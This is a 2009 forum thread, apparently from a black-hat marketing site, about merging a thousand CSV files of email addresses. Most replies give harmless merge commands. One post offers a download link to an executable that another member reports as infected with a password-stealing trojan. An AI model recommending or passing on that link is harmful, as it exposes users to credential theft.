How can i extract 1,000 CSV Files??

crisis23 · Jul 23, 2009

hey guys how can i extract this CSV files??

i have about 1,000 files i need to combine

its killing me if i do it 1,000 times copy&paste

guschman · Jul 23, 2009

you want to extract whats inside into one txt-file(??) or you want to merge them to one big csv?

crisis23 · Jul 23, 2009

yeah there are emails in the csv files..

i want to merge 100 CSV files in to 1 big csv file...

is that possible??

guschman · Jul 23, 2009

definitly possible easily. only depends on how the output should look like.

as you say it`s csv: is there additional data related to each email-adress (like name, timestamp whatever) that should be kept with the email?
or do you only want to have the emails in plain-text?

(depending on your answer i can suggest you a way to do it. plain-text will be easier for you - csv will be little bit more difficutl as i dont expect you to have a good tool for that)

pyronaut · Jul 23, 2009

crisis23 said:
yeah there are emails in the csv files..

i want to merge 100 CSV files in to 1 big csv file...

is that possible??

You could use "Firebird Email Manager" link is in my sig, (Same site, different page etc).

Although you will still have to do it one at a time, it will be much faster then copy and pasting.

You will just have to select the files one at a time. Just check it out anyway.

Kamek · Jul 23, 2009

If you have linux you could use cat file1 >> file2 or similar, or pick a programming language (i recommend python or perl) and it should be stupidly easy. Could probably do it with vbscript or a bat too if you run windows.

crisis23 · Jul 23, 2009

yea but the only format is

[email protected]
[email protected]
[email protected]
etc!

as you say it`s csv: is there additional data related to each email-adress (like name, timestamp whatever) that should be kept with the email?
or do you only want to have the emails in plain-text?

ok ill check it out thanks bro.. but someone told me there's a software that does this you just combine 1,000 CSV files.. but it seems i really cant find one

You could use "Firebird Email Manager" link is in my sig, (Same site, different page etc).
Although you will still have to do it one at a time, it will be much faster then copy and pasting.
You will just have to select the files one at a time. Just check it out anyway.

BozoClown · Jul 23, 2009

Merge all data from the csv files into a single file all.csv

1) Windows Start Button | Run
2) Type cmd and hit enter
3) Go to the folder with the CSV files (for help enter "help cd")
4) Type copy *.csv all.csv and hit enter to copy all data in the files into all.txt.
5) Type exit and hit enter to close the DOS window

forgot · Jul 23, 2009

There is a software out there which meges all csv/excel files in one. Just search for merge csv files on G.

crisis23 · Jul 23, 2009

hey bro im having trouble with #3.. does the folder needs to be in the C drive??

Merge all data from the csv files into a single file all.csv

1) Windows Start Button | Run
2) Type cmd and hit enter
3) Go to the folder with the CSV files (for help enter "help cd")
4) Type copy *.csv all.csv and hit enter to copy all data in the files into all.txt.
5) Type exit and hit enter to close the DOS window

yea bro i did search.. but all of them doesnt even work or u need to pay for the software..

There is a software out there which meges all csv/excel files in one. Just search for merge csv files on G.

pasdoy · Jul 23, 2009

make your own macro.

crisis23 · Jul 23, 2009

hey bro when i hit load it actually doesnt read the csv files??

am i doing something wrong??

http://www.themeetingjunction.com/lister.exe

it's mine and it's free

BozoClown · Jul 23, 2009

crisis23 said:
hey bro im having trouble with #3.. does the folder needs to be in the C drive??

Any drive that is writable. You just have to navigate to it from the dos commandline using the "cd" command.

It shouldn't take you longer than 20 seconds. Its really simple.

OR
You could create a batch file like this
1. create a text file (merge.txt) and paste the line below

copy *.csv all.csv

Click to expand...

2. Change the extension of the text file to .bat. So it is now called merge.bat

3. Put the merge.bat file in the directory containing the csv files and click it.
4. Job is done

crisis23 · Jul 24, 2009

arghh bro im so confused with DOS i cant make it work ;(

You could create a batch file like this
1. create a text file (merge.txt) and paste the line below

Quote:
copy *.csv all.csv

2. Change the extension of the text file to .bat. So it is now called merge.bat

3. Put the merge.bat file in the directory containing the csv files and click it.
4. Job is done

BozoClown · Jul 24, 2009

I use linux so I haven't tested it, but from my experience it should work. I can merge the files for you if the zipped file is relatively small.

ttriplesoft · Jul 24, 2009

Send all file to me, i will do it manually Thanks

the_demon · Jul 24, 2009

Nothing personal to the poster of this bot but, according to virus total [READ ON]

BHW WARNING: THE LISTER.EXE APPEARS TO BE INFECTED

http://www.virustotal.com/analisis/c8fe1e28b67e9ee30a103a0089ab9e78fe879de355097eedab59d7e8bbb02bf5-1218639750

INFECTION SCORE: 3/36

MORE RESOURCES:
http://www.threatexpert.com/reports.aspx?find=Trojan-PWS.Tibia
http://www.pctools.com/mrc/infections/id/Trojan-PWS.Tibia/

joesomebody · Jul 24, 2009

Just write a little php script.

crisis23 · Jul 24, 2009

Thanks to BozoClown

problem solve +1 REP to u. very helpful

How can i extract 1,000 CSV Files??

BANNED

Registered Member

BANNED

Registered Member

Senior Member

Newbie

BANNED

Junior Member

Senior Member

BANNED

Senior Member

BANNED

Junior Member

BANNED

Junior Member

BANNED

Elite Member

Registered Member

BANNED

Main Menu

Marketplace

Making Money

BlackHat World